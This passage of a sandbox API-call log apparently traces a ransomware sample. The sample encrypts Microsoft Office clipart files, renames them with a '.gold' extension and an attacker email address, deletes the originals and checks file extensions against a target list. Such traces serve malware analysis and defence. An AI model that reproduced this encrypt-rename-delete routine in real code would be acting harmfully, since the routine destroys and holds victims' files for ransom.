(lpString1=".WMF", lpString2=".gold") returned 1 [0112.923] lstrlenW (lpString="J0185774.WMF") returned 12 [0112.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0112.925] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=20038) returned 1 [0112.925] CloseHandle (hObject=0x3b4) returned 1 [0112.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf")) returned 0x20 [0112.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0112.925] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.925] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0112.927] GetLastError () returned 0x0 [0112.927] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x4e46, lpOverlapped=0x0) returned 1 [0112.929] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x4e50, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x4e50, lpOverlapped=0x0) returned 1 [0112.930] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.930] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.930] SetEndOfFile (hFile=0x3b8) returned 1 [0112.930] CloseHandle (hObject=0x3b8) returned 1 [0112.930] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.930] SetEndOfFile (hFile=0x3b4) returned 1 [0112.932] CloseHandle (hObject=0x3b4) returned 1 [0112.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.932] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf")) returned 1 [0112.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0112.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0112.933] lstrlenW (lpString=".doc") returned 4 [0112.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0112.933] lstrlenW (lpString=".docx") returned 5 [0112.933] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0112.933] lstrlenW (lpString=".pdf") returned 4 [0112.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.933] lstrlenW (lpString=".xls") returned 4 [0112.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.933] lstrlenW (lpString=".xlsx") returned 5 [0112.934] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0112.934] lstrlenW (lpString=".ppt") returned 4 [0112.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0112.934] lstrlenW (lpString=".zip") returned 4 [0112.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.934] lstrlenW (lpString=".rar") returned 4 [0112.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.934] lstrlenW (lpString=".bz2") returned 4 [0112.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.934] lstrlenW (lpString=".7z") returned 3 [0112.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0112.934] lstrlenW (lpString=".dbf") returned 4 [0112.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0112.934] lstrlenW (lpString=".1cd") returned 4 [0112.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0112.934] lstrlenW (lpString=".jpg") returned 4 [0112.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0112.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0112.934] lstrlenW (lpString=".doc") returned 4 [0112.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0112.934] lstrlenW (lpString=".docx") returned 5 [0112.934] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0112.934] lstrlenW (lpString=".pdf") returned 4 [0112.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.934] lstrlenW (lpString=".xls") returned 4 [0112.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.934] lstrlenW (lpString=".xlsx") returned 5 [0112.934] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0112.934] lstrlenW (lpString=".ppt") returned 4 [0112.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0112.934] lstrlenW (lpString=".zip") returned 4 [0112.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.934] lstrlenW (lpString=".rar") returned 4 [0112.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.934] lstrlenW (lpString=".bz2") returned 4 [0112.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.934] lstrlenW (lpString=".7z") returned 3 [0112.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0112.934] lstrlenW (lpString=".dbf") returned 4 [0112.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0112.934] lstrlenW (lpString=".1cd") returned 4 [0112.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0112.934] lstrlenW (lpString=".jpg") returned 4 [0112.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.935] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0112.935] lstrlenW (lpString="J0185776.WMF") returned 12 [0112.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0112.935] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=27096) returned 1 [0112.935] CloseHandle (hObject=0x3b4) returned 1 [0112.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf")) returned 0x20 [0112.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0112.936] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.936] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0112.937] GetLastError () returned 0x0 [0112.937] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x69d8, lpOverlapped=0x0) returned 1 [0112.939] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x69e0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x69e0, lpOverlapped=0x0) returned 1 [0112.940] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.940] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.940] SetEndOfFile (hFile=0x3b8) returned 1 [0112.940] CloseHandle (hObject=0x3b8) returned 1 [0112.940] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.940] SetEndOfFile (hFile=0x3b4) returned 1 [0112.942] CloseHandle (hObject=0x3b4) returned 1 [0112.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf")) returned 1 [0112.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0112.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0112.943] lstrlenW (lpString=".doc") returned 4 [0112.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0112.943] lstrlenW (lpString=".docx") returned 5 [0112.943] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0112.943] lstrlenW (lpString=".pdf") returned 4 [0112.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.943] lstrlenW (lpString=".xls") returned 4 [0112.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.944] lstrlenW (lpString=".xlsx") returned 5 [0112.944] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0112.944] lstrlenW (lpString=".ppt") returned 4 [0112.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0112.944] lstrlenW (lpString=".zip") returned 4 [0112.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.944] lstrlenW (lpString=".rar") returned 4 [0112.944] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.944] lstrlenW (lpString=".bz2") returned 4 [0112.944] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.944] lstrlenW (lpString=".7z") returned 3 [0112.944] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0112.944] lstrlenW (lpString=".dbf") returned 4 [0112.944] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0112.944] lstrlenW (lpString=".1cd") returned 4 [0112.944] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0112.944] lstrlenW (lpString=".jpg") returned 4 [0112.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0112.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0112.944] lstrlenW (lpString=".doc") returned 4 [0112.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0112.944] lstrlenW (lpString=".docx") returned 5 [0112.944] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0112.944] lstrlenW (lpString=".pdf") returned 4 [0112.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.944] lstrlenW (lpString=".xls") returned 4 [0112.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.944] lstrlenW (lpString=".xlsx") returned 5 [0112.944] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0112.944] lstrlenW (lpString=".ppt") returned 4 [0112.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0112.944] lstrlenW (lpString=".zip") returned 4 [0112.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.944] lstrlenW (lpString=".rar") returned 4 [0112.944] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.944] lstrlenW (lpString=".bz2") returned 4 [0112.944] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.944] lstrlenW (lpString=".7z") returned 3 [0112.944] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0112.944] lstrlenW (lpString=".dbf") returned 4 [0112.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0112.945] lstrlenW (lpString=".1cd") returned 4 [0112.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0112.945] lstrlenW (lpString=".jpg") returned 4 [0112.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.945] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0112.945] lstrlenW (lpString="J0185778.WMF") returned 12 [0112.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0112.946] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=25312) returned 1 [0112.946] CloseHandle (hObject=0x3b4) returned 1 [0112.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf")) returned 0x20 [0112.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0112.947] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.947] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0112.948] GetLastError () returned 0x0 [0112.948] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x62e0, lpOverlapped=0x0) returned 1 [0113.135] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x62f0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x62f0, lpOverlapped=0x0) returned 1 [0113.135] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.136] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.136] SetEndOfFile (hFile=0x3b8) returned 1 [0113.136] CloseHandle (hObject=0x3b8) returned 1 [0113.136] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.136] SetEndOfFile (hFile=0x3b4) returned 1 [0113.138] CloseHandle (hObject=0x3b4) returned 1 [0113.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf")) returned 1 [0113.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0113.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0113.139] lstrlenW (lpString=".doc") returned 4 [0113.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.139] lstrlenW (lpString=".docx") returned 5 [0113.140] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0113.140] lstrlenW (lpString=".pdf") returned 4 [0113.140] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.140] lstrlenW (lpString=".xls") returned 4 [0113.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.140] lstrlenW (lpString=".xlsx") returned 5 [0113.140] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0113.140] lstrlenW (lpString=".ppt") returned 4 [0113.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0113.140] lstrlenW (lpString=".zip") returned 4 [0113.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.140] lstrlenW (lpString=".rar") returned 4 [0113.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.140] lstrlenW (lpString=".bz2") returned 4 [0113.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.140] lstrlenW (lpString=".7z") returned 3 [0113.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0113.140] lstrlenW (lpString=".dbf") returned 4 [0113.140] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0113.140] lstrlenW (lpString=".1cd") returned 4 [0113.140] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0113.140] lstrlenW (lpString=".jpg") returned 4 [0113.140] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0113.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0113.140] lstrlenW (lpString=".doc") returned 4 [0113.140] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.140] lstrlenW (lpString=".docx") returned 5 [0113.140] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0113.140] lstrlenW (lpString=".pdf") returned 4 [0113.140] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.140] lstrlenW (lpString=".xls") returned 4 [0113.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.140] lstrlenW (lpString=".xlsx") returned 5 [0113.140] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0113.140] lstrlenW (lpString=".ppt") returned 4 [0113.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0113.140] lstrlenW (lpString=".zip") returned 4 [0113.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.141] lstrlenW (lpString=".rar") returned 4 [0113.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.141] lstrlenW (lpString=".bz2") returned 4 [0113.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.141] lstrlenW (lpString=".7z") returned 3 [0113.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0113.141] lstrlenW (lpString=".dbf") returned 4 [0113.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0113.141] lstrlenW (lpString=".1cd") returned 4 [0113.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0113.141] lstrlenW (lpString=".jpg") returned 4 [0113.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.141] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.141] lstrlenW (lpString="J0185818.WMF") returned 12 [0113.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0113.142] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=35726) returned 1 [0113.142] CloseHandle (hObject=0x3b4) returned 1 [0113.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 